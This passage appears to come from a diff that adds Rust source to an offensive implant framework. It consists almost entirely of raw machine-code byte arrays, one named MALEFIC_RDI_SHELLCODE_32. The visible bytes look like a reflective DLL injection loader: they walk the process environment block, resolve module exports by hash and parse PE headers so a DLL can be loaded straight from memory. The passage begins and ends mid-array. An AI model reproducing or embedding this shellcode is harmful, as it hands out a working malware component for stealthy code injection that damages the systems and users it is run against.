0xff, 0xd4, 0xeb, 0x0c, 0x31, 0xc9, 0xba, 0x01, 0x00, 0x00, 0x00, 0x45, 0x31, 0xc0, 0xff, 0xd6, + 0x90, 0x48, 0x81, 0xc4, 0xb8, 0x02, 0x00, 0x00, 0x5b, 0x5d, 0x5f, 0x5e, 0x41, 0x5c, 0x41, 0x5d, + 0x41, 0x5e, 0x41, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, + 0x41, 0x56, 0x56, 0x57, 0x55, 0x53, 0x45, 0x84, 0xc9, 0x74, 0x04, 0x31, 0xc0, 0xeb, 0x78, 0x48, + 0xff, 0xc2, 0x4c, 0x8b, 0x09, 0x4c, 0x8b, 0x51, 0x10, 0x4c, 0x8b, 0x59, 0x18, 0x49, 0x8d, 0x73, + 0xfc, 0x66, 0x45, 0x85, 0xc0, 0x0f, 0x95, 0xc0, 0x74, 0x5d, 0x41, 0x0f, 0xbc, 0xc8, 0x48, 0x8d, + 0x3c, 0x0a, 0x4c, 0x01, 0xcf, 0x49, 0x83, 0xfb, 0x03, 0x77, 0x19, 0x31, 0xc0, 0x49, 0x39, 0xc3, + 0x74, 0x43, 0x8a, 0x1c, 0x07, 0x4c, 0x8d, 0x70, 0x01, 0x41, 0x3a, 0x1c, 0x02, 0x4c, 0x89, 0xf0, + 0x74, 0xeb, 0xeb, 0x25, 0x48, 0x8d, 0x1c, 0x37, 0x4d, 0x89, 0xd6, 0x48, 0x39, 0xdf, 0x73, 0x11, + 0x8b, 0x2f, 0x41, 0x3b, 0x2e, 0x75, 0x12, 0x48, 0x83, 0xc7, 0x04, 0x49, 0x83, 0xc6, 0x04, 0xeb, + 0xea, 0x8b, 0x3b, 0x41, 0x3b, 0x3c, 0x32, 0x74, 0x0e, 0x66, 0xb8, 0xfe, 0xff, 0x66, 0xd3, 0xc0, + 0x41, 0x21, 0xc0, 0xeb, 0x9c, 0xb0, 0x01, 0x5b, 0x5d, 0x5f, 0x5e, 0x41, 0x5e, 0xc3, 0xcc, 0xcc, + 0xeb, 0xfe, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, + 0x48, 0x83, 0xec, 0x28, 0xe8, 0xe7, 0xff, 0xff, 0xff, 0x0f, 0x0b, 0xcc, 0x01, 0x06, 0x05, 0x00, + 0x06, 0x30, 0x05, 0x50, 0x04, 0x70, 0x03, 0x60, 0x02, 0xe0, 0x00, 0x00, 0x01, 0x04, 0x01, 0x00, + 0x04, 0x42, 0x00, 0x00, 0x01, 0x0c, 0x06, 0x00, 0x0c, 0x01, 0x05, 0x01, 0x05, 0x30, 0x04, 0x70, + 0x03, 0x60, 0x02, 0xe0, 0x01, 0x0b, 0x06, 0x00, 0x0b, 0x32, 0x07, 0x30, 0x06, 0x70, 0x05, 0x60, + 0x04, 0xe0, 0x02, 0xf0, 0x01, 0x10, 0x09, 0x00, 0x10, 0x42, 0x0c, 0x30, 0x0b, 0x50, 0x0a, 0x70, + 0x09, 0x60, 0x08, 0xc0, 0x06, 0xd0, 0x04, 0xe0, 0x02, 0xf0, 0x00, 0x00, 0x01, 0x13, 0x0a, 0x00, + 0x13, 0x01, 0x23, 0x00, 0x0c, 0x30, 0x0b, 0x50, 0x0a, 0x70, 0x09, 0x60, 0x08, 0xc0, 0x06, 0xd0, + 0x04, 0xe0, 0x02, 0xf0, 0x01, 0x08, 0x03, 0x00, 0x08, 0x01, 0x16, 0x00, 0x01, 0x60, 0x00, 0x00, + 0x01, 0x07, 0x04, 0x00, 0x07, 0xd2, 0x03, 0x30, 0x02, 0x70, 0x01, 0x60, 0x01, 0x07, 0x04, 0x00, + 0x07, 0x92, 0x03, 0x30, 0x02, 0x70, 0x01, 0x60, 0x01, 0x09, 0x05, 0x00, 0x09, 0x62, 0x05, 0x30, + 0x04, 0x70, 0x03, 0x60, 0x02, 0xe0, 0x00, 0x00, 0x01, 0x10, 0x09, 0x00, 0x10, 0xe2, 0x0c, 0x30, + 0x0b, 0x50, 0x0a, 0x70, 0x09, 0x60, 0x08, 0xc0, 0x06, 0xd0, 0x04, 0xe0, 0x02, 0xf0, 0x00, 0x00, + 0x01, 0x10, 0x09, 0x00, 0x10, 0x62, 0x0c, 0x30, 0x0b, 0x50, 0x0a, 0x70, 0x09, 0x60, 0x08, 0xc0, + 0x06, 0xd0, 0x04, 0xe0, 0x02, 0xf0, 0x00, 0x00, 0x01, 0x05, 0x02, 0x00, 0x05, 0x32, 0x01, 0x60, + 0x01, 0x13, 0x0a, 0x00, 0x13, 0x01, 0x57, 0x00, 0x0c, 0x30, 0x0b, 0x50, 0x0a, 0x70, 0x09, 0x60, + 0x08, 0xc0, 0x06, 0xd0, 0x04, 0xe0, 0x02, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +]; + +#[cfg(not(feature = "rebuild_srdi"))] +pub static MALEFIC_RDI_SHELLCODE_32: &[u8] = &[ + 0x2f, 0x72, 0x75, 0x73, 0x74, 0x63, 0x2f, 0x32, 0x30, 0x33, 0x63, 0x35, 0x37, 0x64, 0x62, 0x65, + 0x32, 0x30, 0x61, 0x65, 0x65, 0x36, 0x37, 0x65, 0x61, 0x61, 0x38, 0x66, 0x37, 0x62, 0x65, 0x34, + 0x35, 0x64, 0x31, 0x65, 0x34, 0x65, 0x66, 0x30, 0x62, 0x32, 0x37, 0x34, 0x31, 0x30, 0x39, 0x5c, + 0x6c, 0x69, 0x62, 0x72, 0x61, 0x72, 0x79, 0x5c, 0x63, 0x6f, 0x72, 0x65, 0x5c, 0x73, 0x72, 0x63, + 0x5c, 0x73, 0x74, 0x72, 0x5c, 0x70, 0x61, 0x74, 0x74, 0x65, 0x72, 0x6e, 0x2e, 0x72, 0x73, 0x00, + 0x00, 0x10, 0x40, 0x00, 0x4f, 0x00, 0x00, 0x00, 0xb3, 0x05, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, + 0x00, 0x10, 0x40, 0x00, 0x4f, 0x00, 0x00, 0x00, 0xb3, 0x05, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, + 0x00, 0x10, 0x40, 0x00, 0x4f, 0x00, 0x00, 0x00, 0xa7, 0x05, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, + 0x73, 0x72, 0x63, 0x5c, 0x75, 0x74, 0x69, 0x6c, 0x73, 0x2e, 0x72, 0x73, 0x80, 0x10, 0x40, 0x00, + 0x0c, 0x00, 0x00, 0x00, 0x98, 0x01, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x80, 0x10, 0x40, 0x00, + 0x0c, 0x00, 0x00, 0x00, 0x98, 0x01, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x80, 0x10, 0x40, 0x00, + 0x0c, 0x00, 0x00, 0x00, 0x8f, 0x01, 0x00, 0x00, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x6c, 0x69, 0x62, 0x72, 0x61, 0x72, 0x79, 0x5c, 0x63, 0x6f, 0x72, 0x65, 0x5c, 0x73, 0x72, 0x63, + 0x5c, 0x73, 0x74, 0x72, 0x5c, 0x70, 0x61, 0x74, 0x74, 0x65, 0x72, 0x6e, 0x2e, 0x72, 0x73, 0x00, + 0xc0, 0x10, 0x40, 0x00, 0x1f, 0x00, 0x00, 0x00, 0x42, 0x05, 0x00, 0x00, 0x12, 0x00, 0x00, 0x00, + 0xc0, 0x10, 0x40, 0x00, 0x1f, 0x00, 0x00, 0x00, 0x42, 0x05, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, + 0xc0, 0x10, 0x40, 0x00, 0x1f, 0x00, 0x00, 0x00, 0x35, 0x06, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00, + 0xc0, 0x10, 0x40, 0x00, 0x1f, 0x00, 0x00, 0x00, 0x63, 0x06, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00, + 0xc0, 0x10, 0x40, 0x00, 0x1f, 0x00, 0x00, 0x00, 0x64, 0x06, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00, + 0x18, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x53, 0x56, 0x8b, 0x74, 0x24, 0x0c, 0x31, 0xc0, + 0x39, 0xc6, 0x74, 0x09, 0x8a, 0x1c, 0x02, 0x88, 0x1c, 0x01, 0x40, 0xeb, 0xf3, 0x5e, 0x5b, 0xc3, + 0x53, 0x57, 0x56, 0xb8, 0x05, 0x15, 0x00, 0x00, 0x31, 0xf6, 0x39, 0xd6, 0x73, 0x25, 0x8a, 0x1c, + 0x31, 0x84, 0xdb, 0x75, 0x03, 0x46, 0xeb, 0xf2, 0x88, 0xdf, 0x0f, 0xb6, 0xfb, 0x80, 0xc7, 0xe0, + 0x80, 0xfb, 0x61, 0x0f, 0xb6, 0xdf, 0x0f, 0x42, 0xdf, 0x6b, 0xf8, 0x21, 0x0f, 0xb6, 0xc3, 0x01, + 0xf8, 0xeb, 0xe2, 0x5e, 0x5f, 0x5b, 0xc3, 0x56, 0x8b, 0x71, 0x08, 0x85, 0xf6, 0x74, 0x0b, 0x0f, + 0xb7, 0xd2, 0xb0, 0x01, 0x39, 0xd6, 0x77, 0x04, 0x73, 0x04, 0x31, 0xc0, 0x5e, 0xc3, 0x8b, 0x51, + 0x0c, 0x0f, 0xb7, 0x74, 0x24, 0x08, 0x39, 0xf2, 0x77, 0xf2, 0x72, 0xee, 0x66, 0x83, 0xb9, 0x18, + 0x01, 0x00, 0x00, 0x00, 0x75, 0xe6, 0x0f, 0xb7, 0x44, 0x24, 0x0c, 0x39, 0x41, 0x10, 0x0f, 0x93, + 0xc0, 0xeb, 0xd9, 0x6a, 0x06, 0x5a, 0x6a, 0x00, 0x6a, 0x03, 0xe8, 0xb8, 0xff, 0xff, 0xff, 0x59, + 0x5a, 0xc3, 0x55, 0x53, 0x57, 0x56, 0x81, 0xec, 0x08, 0x04, 0x00, 0x00, 0x8b, 0xac, 0x24, 0x24, + 0x04, 0x00, 0x00, 0x31, 0xc0, 0x89, 0x4c, 0x24, 0x04, 0x48, 0x39, 0xac, 0x24, 0x20, 0x04, 0x00, + 0x00, 0x0f, 0x82, 0x9a, 0x00, 0x00, 0x00, 0x85, 0xd2, 0x0f, 0x84, 0x92, 0x00, 0x00, 0x00, 0x83, + 0xbc, 0x24, 0x20, 0x04, 0x00, 0x00, 0x00, 0x0f, 0x84, 0x84, 0x00, 0x00, 0x00, 0x89, 0xd1, 0x29, + 0xe9, 0x89, 0x0c, 0x24, 0x72, 0x7b, 0x8b, 0x8c, 0x24, 0x1c, 0x04, 0x00, 0x00, 0xb8, 0x00, 0xfc, + 0xff, 0xff, 0x85, 0xc0, 0x74, 0x0c, 0x89, 0xac, 0x04, 0x08, 0x04, 0x00, 0x00, 0x83, 0xc0, 0x04, + 0xeb, 0xf0, 0x4d, 0x31, 0xc0, 0x89, 0xee, 0x89, 0xef, 0x83, 0xef, 0x01, 0x72, 0x16, 0x39, 0x84, + 0x24, 0x20, 0x04, 0x00, 0x00, 0x74, 0x55, 0x0f, 0xb6, 0x1c, 0x01, 0x40, 0x89, 0x74, 0x9c, 0x08, + 0x89, 0xfe, 0xeb, 0xe5, 0x31, 0xc0, 0x3b, 0x04, 0x24, 0x77, 0x33, 0x8b, 0x74, 0x24, 0x04, 0x89, + 0xef, 0x01, 0xc6, 0x85, 0xff, 0x78, 0x2a, 0x3b, 0xbc, 0x24, 0x20, 0x04, 0x00, 0x00, 0x73, 0x3c, + 0x8d, 0x1c, 0x38, 0x39, 0xd3, 0x73, 0x45, 0x0f, 0xb6, 0x1c, 0x3e, 0x38, 0x1c, 0x39, 0x75, 0x03, + 0x4f, 0xeb, 0xe0, 0x8b, 0x74, 0x9c, 0x08, 0x83, 0xfe, 0x01, 0x11, 0xf0, 0xeb, 0xc8, 0x31, 0xc0, + 0x48, 0x81, 0xc4, 0x08, 0x04, 0x00, 0x00, 0x5e, 0x5f, 0x5b, 0x5d, 0xc3, 0x8b, 0x8c, 0x24, 0x20, + 0x04, 0x00, 0x00, 0x89, 0xca, 0x68, 0xac, 0x10, 0x40, 0x00, 0xeb, 0x17, 0x8b, 0x94, 0x24, 0x20, + 0x04, 0x00, 0x00, 0x89, 0xf9, 0x68, 0x8c, 0x10, 0x40, 0x00, 0xeb, 0x07, 0x89, 0xd9, 0x68, 0x9c, + 0x10, 0x40, 0x00, 0xe8, 0xe8, 0x13, 0x00, 0x00, 0x58, 0x0f, 0x0b, 0x8b, 0x44, 0x24, 0x0c, 0x8a, + 0x4c, 0x24, 0x08, 0x8b, 0x54, 0x24, 0x04, 0x83, 0xe8, 0x01, 0x72, 0x05, 0x88, 0x0a, 0x42, 0xeb, + 0xf6, 0xc3, 0x55, 0x53, 0x57, 0x56, 0x50, 0x89, 0x0c, 0x24, 0x31, 0xff, 0x64, 0xa1, 0x30, 0x00, + 0x00, 0x00, 0x8b, 0x40, 0x0c, 0x8b, 0x58, 0x14, 0x8b, 0x68, 0x18, 0x83, 0x7b, 0x18, 0x00, 0x74, + 0x1e, 0x0f, 0xb7, 0x53, 0x24, 0x8b, 0x4b, 0x28, 0x8b, 0x33, 0xe8, 0x41, 0xfe, 0xff, 0xff, 0x3b, + 0x04, 0x24, 0x74, 0x08, 0x39, 0xeb, 0x89, 0xf3, 0x75, 0xe1, 0xeb, 0x03, 0x8b, 0x7b, 0x10, 0x89, + 0xf8, 0x83, 0xc4, 0x04, 0x5e, 0x5f, 0x5b, 0x5d, 0xc3, 0x55, 0x53, 0x57, 0x56, 0x83, 0xec, 0x10, + 0x8b, 0x41, 0x3c, 0x89, 0x54, 0x24, 0x0c, 0x8b, 0x44, 0x08, 0x78, 0x01, 0xc8, 0x74, 0x64, 0x8b, + 0x68, 0x14, 0x8b, 0x78, 0x1c, 0x8b, 0x50, 0x20, 0x8b, 0x40, 0x24, 0x89, 0xce, 0x01, 0xf0, 0x01, + 0xf7, 0x01, 0xf2, 0x89, 0x04, 0x24, 0x31, 0xc0, 0x85, 0xed, 0x89, 0x7c, 0x24, 0x04, 0x89, 0x54, + 0x24, 0x08, 0x0f, 0x4e, 0xe8, 0x31, 0xdb, 0x39, 0xeb, 0x74, 0x38, 0x8b, 0x44, 0x24, 0x08, 0x89, + 0xdf, 0x8b, 0x0c, 0x98, 0x01, 0xf1, 0x31, 0xd2, 0x4a, 0x80, 0x7c, 0x11, 0x01, 0x00, 0x8d, 0x52, + 0x01, 0x75, 0xf6, 0x8d, 0x5f, 0x01, 0xe8, 0xc5, 0xfd, 0xff, 0xff, 0x3b, 0x44, 0x24, 0x0c, 0x75, + 0xd6, 0x8b, 0x04, 0x24, 0x8b, 0x4c, 0x24, 0x04, 0x0f, 0xb7, 0x04, 0x78, 0x03, 0x34, 0x81, 0x89, + 0xf0, 0xeb, 0x02, 0x31, 0xc0, 0x83, 0xc4, 0x10, 0x5e, 0x5f, 0x5b, 0x5d, 0xc3, 0x55, 0x53, 0x57, + 0x56, 0x83, 0xec, 0x64, 0x8b, 0x4c, 0x24, 0x78, 0x31, 0xd2, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x66, + 0x81, 0x39, 0x4d, 0x5a, 0x0f, 0x85, 0x99, 0x07, 0x00, 0x00, 0x8b, 0x71, 0x3c, 0x31, 0xd2, 0x81, + 0x3c, 0x0e, 0x50, 0x45, 0x00, 0x00, 0x0f, 0x85, 0x87, 0x07, 0x00, 0x00, 0x01, 0xce, 0x8b, 0xac, + 0x24, 0x80, 0x00, 0x00, 0x00, 0x8b, 0x7c, 0x24, 0x7c, 0x0f, 0xb7, 0x4e, 0x14, 0x8d, 0x14, 0x0e, + 0x8d, 0x44, 0x0e, 0x18, 0x6a, 0xe8, 0x5b, 0x8d, 0x4c, 0x0e, 0x1b, 0x29, 0xd3, 0x0f, 0xb7, 0x56, + 0x06, 0x89, 0x44, 0x24, 0x28, 0x89, 0x44, 0x24, 0x10, 0xc7, 0x44, 0x24, 0x44, 0x00, 0x00, 0x00, + 0x00, 0x89, 0x4c, 0x24, 0x2c, 0x8d, 0x4f, 0x02, 0x89, 0x5c, 0x24, 0x30, 0x89, 0x4c, 0x24, 0x4c, + 0x8d, 0x4d, 0xff, 0x89, 0x4c, 0x24, 0x54, 0x31, 0xc9, 0x31, 0xc0, 0x41, 0x66, 0x89, 0x54, 0x24, + 0x26, 0x66, 0x39, 0xd0, 0x0f, 0x84, 0x0d, 0x07, 0x00, 0x00, 0x85, 0xed, 0x0f, 0x84, 0x0b, 0x07, + 0x00, 0x00, 0x83, 0xfd, 0x07, 0x89, 0x44, 0x24, 0x50, 0x77, 0x43, 0x83, 0xfd, 0x01, 0x75, 0x63, + 0x8b, 0x54, 0x24, 0x10, 0x8a, 0x07, 0x8d, 0x4a, 0x03, 0x83, 0xe1, 0xfc, 0x29, 0xd1, 0x0f, 0x84, + 0x98, 0x01, 0x00, 0x00, 0x0f, 0x84, 0x92, 0x01, 0x00, 0x00, 0x8b, 0x54, 0x24, 0x2c, 0x31, 0xf6, + 0x83, 0xe2, 0xfc, 0x03, 0x54, 0x24, 0x30, 0x8b, 0x5c, 0x24, 0x10, 0x38, 0x04, 0x33, 0x0f, 0x84, + 0xd1, 0x06, 0x00, 0x00, 0x46, 0x39, 0xf2, 0x75, 0xee, 0xe9, 0xa1, 0x01, 0x00, 0x00, 0x83, 0xfd, + 0x08, 0x0f, 0x85, 0xac, 0x01, 0x00, 0x00, 0x6a, 0x08, 0xff, 0x74, 0x24, 0x14, 0x57, 0xe8, 0x0f, + 0x0d, 0x00, 0x00, 0x83, 0xc4, 0x0c, 0x85, 0xc0, 0x0f, 0x85, 0x95, 0x01, 0x00, 0x00, 0xe9, 0xa2, + 0x06, 0x00, 0x00, 0x31, 0xd2, 0x89, 0xcb, 0x89, 0xcf, 0x31, 0xf6, 0x89, 0x4c, 0x24, 0x04, 0x8d, + 0x0c, 0x16, 0x39, 0xe9, 0x0f, 0x83, 0xa1, 0x06, 0x00, 0x00, 0x8b, 0x44, 0x24, 0x7c, 0x8a, 0x0c, + 0x08, 0x38, 0x0c, 0x18, 0x73, 0x10, 0x8d, 0x4c, 0x37, 0x01, 0x31, 0xf6, 0x89, 0xc8, 0x29, 0xd0, + 0x89, 0x44, 0x24, 0x04, 0xeb, 0x2a, 0x75, 0x1a, 0x46, 0xb9, 0x00, 0x00, 0x00, 0x00, 0x3b, 0x74, + 0x24, 0x04, 0x89, 0xf3, 0x0f, 0x45, 0xf1, 0x0f, 0x44, 0xd9, 0x89, 0xf1, 0x89, 0xde, 0x01, 0xf9, + 0xeb, 0x0e, 0x31, 0xf6, 0x31, 0xd2, 0x8d, 0x4f, 0x01, 0x42, 0x89, 0x54, 0x24, 0x04, 0x89, 0xfa, + 0x8d, 0x1c, 0x31, 0x89, 0xcf, 0x39, 0xeb, 0x72, 0xa6, 0x31, 0xc9, 0x31, 0xff, 0x31, 0xf6, 0x89, + 0x54, 0x24, 0x0c, 0x47, 0x89, 0xfb, 0x89, 0x7c, 0x24, 0x08, 0x89, 0xca, 0x01, 0xf1, 0x39, 0xe9, + 0x0f, 0x83, 0x35, 0x06, 0x00, 0x00, 0x8b, 0x44, 0x24, 0x7c, 0x8a, 0x0c, 0x08, 0x38, 0x0c, 0x18, + 0x76, 0x0c, 0x8d, 0x4c, 0x37, 0x01, 0x31, 0xf6, 0x89, 0xc8, 0x29, 0xd0, 0xeb, 0x26, 0x75, 0x1a, + 0x46, 0xb9, 0x00, 0x00, 0x00, 0x00, 0x3b, 0x74, 0x24, 0x08, 0x89, 0xf3, 0x0f, 0x45, 0xf1, 0x0f, + 0x44, 0xd9, 0x89, 0xf1, 0x89, 0xde, 0x01, 0xf9, 0xeb, 0x0e, 0x31, 0xf6, 0x31, 0xc0, 0x8d, 0x4f, + 0x01, 0x89, 0xfa, 0x40, 0x89, 0x44, 0x24, 0x08, 0x8d, 0x1c, 0x31, 0x89, 0xcf, 0x89, 0xd1, 0x39, + 0xeb, 0x72, 0xa7, 0x8b, 0x44, 0x24, 0x0c, 0x89, 0xef, 0x39, 0xc8, 0x0f, 0x47, 0xc8, 0x8b, 0x44, + 0x24, 0x08, 0x0f, 0x47, 0x44, 0x24, 0x04, 0x29, 0xcf, 0x0f, 0x82, 0x13, 0x06, 0x00, 0x00, 0x89, + 0xc3, 0x01, 0xcb, 0x0f, 0x82, 0x12, 0x06, 0x00, 0x00, 0x39, 0xeb, 0x89, 0x44, 0x24, 0x08, 0x0f, + 0x87, 0x0c, 0x06, 0x00, 0x00, 0x8b, 0x54, 0x24, 0x7c, 0x89, 0x4c, 0x24, 0x1c, 0x83, 0xe9, 0x01, + 0x0f, 0x92, 0xc0, 0x0f, 0x82, 0xa7, 0x00, 0x00, 0x00, 0x8a, 0x1a, 0x8b, 0x74, 0x24, 0x08, 0x3a, + 0x1c, 0x32, 0x8d, 0x52, 0x01, 0x74, 0xe6, 0x8b, 0x4c, 0x24, 0x1c, 0x88, 0x44, 0x24, 0x03, 0x39, + 0xf9, 0x0f, 0x47, 0xf9, 0x83, 0xfd, 0x04, 0x89, 0x7c, 0x24, 0x08, 0x0f, 0x83, 0xb1, 0x01, 0x00, + 0x00, 0x31, 0xc9, 0x31, 0xc0, 0x31, 0xd2, 0xe9, 0x4c, 0x02, 0x00, 0x00, 0x8b, 0x5c, 0x24, 0x10, + 0x0f, 0xb6, 0xc8, 0xbd, 0xff, 0xfe, 0xfe, 0xfe, 0x69, 0xd1, 0x01, 0x01, 0x01, 0x01, 0x8b, 0x0b, + 0x31, 0xd1, 0x33, 0x53, 0x04, 0x8d, 0x34, 0x29, 0xf7, 0xd1, 0x21, 0xf1, 0x8d, 0x34, 0x2a, 0xf7, + 0xd2, 0x21, 0xf2, 0x09, 0xca, 0x31, 0xc9, 0xf7, 0xc2, 0x80, 0x80, 0x80, 0x80, 0x74, 0x14, 0x83, + 0xc1, 0xf8, 0x8b, 0x54, 0x24, 0x10, 0x38, 0x44, 0x0a, 0x08, 0x0f, 0x84, 0x15, 0x05, 0x00, 0x00, + 0x41, 0x75, 0xef, 0x8b, 0x44, 0x24, 0x50, 0x83, 0x44, 0x24, 0x10, 0x28, 0x83, 0x44, 0x24, 0x44, + 0x28, 0x83, 0x44, 0x24, 0x30, 0xd8, 0x83, 0x44, 0x24, 0x2c, 0x28, 0x8b, 0xac, 0x24, 0x80, 0x00, + 0x00, 0x00, 0x0f, 0xb7, 0x54, 0x24, 0x26, 0x40, 0x31, 0xc9, 0x41, 0xe9, 0xc1, 0xfd, 0xff, 0xff, + 0x31, 0xd2, 0x31, 0xff, 0x88, 0x44, 0x24, 0x03, 0xc7, 0x44, 0x24, 0x04, 0x00, 0x00, 0x00, 0x00, + 0x47, 0x89, 0xf8, 0x8d, 0x0c, 0x17, 0x39, 0xe9, 0x73, 0x6e, 0x89, 0xfb, 0x89, 0xe9, 0xf7, 0xd3, + 0x29, 0xd1, 0x01, 0xd9, 0x39, 0xe9, 0x0f, 0x83, 0xfc, 0x04, 0x00, 0x00, 0x89, 0xd3, 0xf7, 0xd3, + 0x01, 0xeb, 0x2b, 0x5c, 0x24, 0x04, 0x39, 0xeb, 0x0f, 0x83, 0xf3, 0x04, 0x00, 0x00, 0x8b, 0x74, + 0x24, 0x7c, 0x8a, 0x0c, 0x0e, 0x8a, 0x1c, 0x1e, 0x38, 0xd9, 0x73, 0x0e, 0x8d, 0x4c, 0x3a, 0x01, + 0x31, 0xd2, 0x89, 0xc8, 0x2b, 0x44, 0x24, 0x04, 0xeb, 0x26, 0x75, 0x18, 0x42, 0xb9, 0x00, 0x00, + 0x00, 0x00, 0x39, 0xc2, 0x89, 0xd3, 0x0f, 0x45, 0xd1, 0x0f, 0x44, 0xd9, 0x89, 0xd1, 0x89, 0xda, + 0x01, 0xf9, 0xeb, 0x0c, 0x31, 0xd2, 0x31, 0xc0, 0x8d, 0x4f, 0x01, 0x89, 0x7c, 0x24, 0x04, 0x40, + 0x3b, 0x44, 0x24, 0x08, 0x89, 0xcf, 0x75, 0x8b, 0x31, 0xd2, 0x31, 0xff, 0xc7, 0x44, 0x24, 0x04, + 0x00, 0x00, 0x00, 0x00, 0x47, 0x89, 0xf8, 0x8d, 0x0c, 0x17, 0x39, 0xe9, 0x73, 0x6e, 0x89, 0xfb, + 0x89, 0xe9, 0xf7, 0xd3, 0x29, 0xd1, 0x01, 0xd9, 0x39, 0xe9, 0x0f, 0x83, 0x78, 0x04, 0x00, 0x00, + 0x89, 0xd3, 0xf7, 0xd3, 0x01, 0xeb, 0x2b, 0x5c, 0x24, 0x04, 0x39, 0xeb, 0x0f, 0x83, 0x6f, 0x04, + 0x00, 0x00, 0x8b, 0x74, 0x24, 0x7c, 0x8a, 0x0c, 0x0e, 0x8a, 0x1c, 0x1e, 0x38, 0xd9, 0x76, 0x0e, + 0x8d, 0x4c, 0x3a, 0x01, 0x31, 0xd2, 